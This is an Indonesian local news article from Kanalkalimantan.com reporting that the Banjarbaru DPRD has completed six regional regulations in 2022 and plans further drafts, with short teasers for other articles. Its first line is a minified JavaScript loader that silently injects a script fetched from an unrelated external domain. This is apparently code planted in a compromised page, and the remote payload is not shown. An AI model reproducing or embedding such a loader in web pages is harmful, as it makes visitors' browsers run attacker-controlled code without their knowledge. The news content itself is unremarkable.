(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Salah satu fungsi legislasi di Dewan Perwakilan Rakyat Daerah (DPRD) Banjarbaru adalah membentuk peraturan daerah (Perda). Pembentukan produk hukum daerah ini harus menjalin kerja sama dan kolaborasi yang kuat bersama eksekutif.
Hingga pertengahan tahun 2022 ini, DPRD Banjarbaru berhasil merampungkan enam buah Rancangan Peraturan Daerah (Raperda).
“Sampai dengan saat ini sudah ada enam produk hukum yang DPRD Banjarbaru hasilkan,” ujar Ketua Badan Pembuatan Peraturan Daerah (Bapemperda) DPRD Banjarbaru, Windi Novianto.
Enam Perda tersebut terdiri dari Perda Pertanggungjawaban APBD 2021 (akumulatif), Perda Retribusi Persampahan, dan Perda SPBE. Disusul Perda Pengelolaan Keuangan Daerah, Perda Bangunan Gedung, serta Perda Penyelenggaran Perizinan Daerah.
Baca juga: Menembus Dusun Libaru Sungkai di Meratus Demi Vaksinasi Warga
Sedangkan untuk Raperda yang tengah dibahas yaitu Raperda RTRW dan Raperda Penyelenggaran Fasilitas Pesantren. Lebih lanjut, di akhir bulan Agustus ini, DPRD Banjarbaru bakal menyampaikan tiga Raperda sekaligus.
“Tiga Raperda tersebut meliputi Raperda Kampung Wisata, Raperda Ekonomi Kreatif, dan Raperda Perlindungan Lahan Pertanian Pangan Berkelanjutan,” paparnya.
Selain penyampaian Raperda, nantinya juga ada dua Raperda yang bakal disahkan. Yaitu Raperda Pernyertaan Modal Bank Kalsel dan Raperda Dana Cadangan Pilkada 2024.
Lalu bagaimana target DPRD Banjarbaru dalam menghasilkan produk hukum daerah? Windi menyebut, jika dihitung sampai dengan akhir tahun mendatang, ada 15 Raperda yang akan diselesaikan DPRD Banjarbaru.
Windi menjelaskan, selain menggodok regulasi, DPRD Banjarbaru juga punya fungsi pengawasan terhadap pelaksanaan Peraturan Daerah serta APBD. Karena, pihaknya juga akan mematangkan sekaligus mengevaluasi regulasi yang sudah dibuat.
Ia pun telah meminta Bagian Hukum Setdako Banjarbaru terkait produk hukum yang dirasa perlu diperbaharui atau dimatangkan kembali menyesuaikan dengan kondisi sekarang.
“Saat ini data masih diolah di Bagian Hukum. Pendataannya meliputi perda apa saja yang perlu di evaluasi, serta perda mana saja yang belum ada perwalinya,” tandas Windi.
Baca juga: Balada di Balik Gurih Kerupuk Belida (Bagian 1)
Terpisah, Sekretaris DPRD Banjarbaru Arnawaty Supiatin mengungkapkan, pihaknya terus menjalin kerja sama dan berkolaborasi dengan DPRD Banjarbaru untuk menciptakan produk hukum berkualitas untuk Kota Idaman.
Dengan adanya kolaborasi yang apik, kerja sama positif, dan studi komprehensif bersama di beberapa daerah, diharapkan produk yang digodok bisa bermanfaat untuk kemaslahatan warga Banjarbaru.
“Semoga regulasi yang kita susun bersama ini bisa memberikan manfaat yang lebih besar, dan lebih nyata lagi bagi warga Banjarbaru,” tuntasnya. (Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BALIKPAPAN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM - Fitur Accessibility pada perangkat smartphone adalah fitur yang penting untuk seseorang yang memiliki… Read More
KANALKALIMANTAN.COM - Kamu pernah dengar istilah "brand itu nyawa bisnis"? Di era digital ini, pernyataan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Puncak musim hujan sudah memasuki sejumlah wilayah Kalimantan Selatan (Kalsel) bertepatan pada… Read More
KANALKALIMANTAN.COM, BANJARBARU - Bagi warga Kota Banjarbaru yang akan meninggalkan rumah pada perayaan libur Natal… Read More
KANALKALIMANTAN.COM, BANJARBARU - Gubernur Kalimantan Selatan (Kalsel) menetapkan besaran Upah Minimum Provinsi (UMK), Upah Minimum… Read More
This website uses cookies.